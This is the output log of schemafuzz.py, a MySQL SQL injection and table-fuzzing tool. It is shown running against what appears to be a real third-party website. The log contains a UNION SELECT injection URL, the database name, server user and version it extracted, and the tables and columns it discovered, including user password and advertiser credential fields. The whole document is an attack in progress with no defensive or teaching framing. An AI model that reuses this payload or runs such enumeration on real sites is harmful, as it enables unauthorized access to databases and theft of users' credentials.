|---------------------------------------------------------------|
| rsauron[@]gmail[dot]com v5.0 |
| 6/2008 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help darkc0de.com |
|---------------------------------------------------------------|
[+] URL: http://www.606mag.com/main.php?id=132+AND+1=2+UNION+SELECT+darkc0de--
[+] Evasion Used: "+" "--"
[+] 20:57:36
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sixosix
User:
candid@apache2-whippit.nehi.dreamhost.com Version: 5.0.24a-standard-log
[+] Number of tables names to be fuzzed: 338
[+] Number of column names to be fuzzed: 249
[+] Searching for tables and columns...
[!] Found a table called: news
[+] Now searching for columns inside table "news"
[!] Found a column called: id
[-] Done searching inside table "news" for columns!
[!] Found a table called: phpads_clients
[+] Now searching for columns inside table "phpads_clients"
[!] Found a column called: email
[!] Found a column called: clientname
[!] Found a column called: clientpassword
[!] Found a column called: clientusername
[!] Found a column called: contact
[-] Done searching inside table "phpads_clients" for columns!
[!] Found a table called: phpads_config
[+] Now searching for columns inside table "phpads_config"
[!] Found a column called: name
[!] Found a column called: admin
[-] Done searching inside table "phpads_config" for columns!
[!] Found a table called: users
[+] Now searching for columns inside table "users"
[!] Found a column called: password
[!] Found a column called: id
[!] Found a column called: name
[!] Found a column called: user_level
[-] Done searching inside table "users" for columns!
[-] 21:16:44
[-] Total URL Requests 1335
[-] Done
Don't forget to check schemafuzzlog.txt
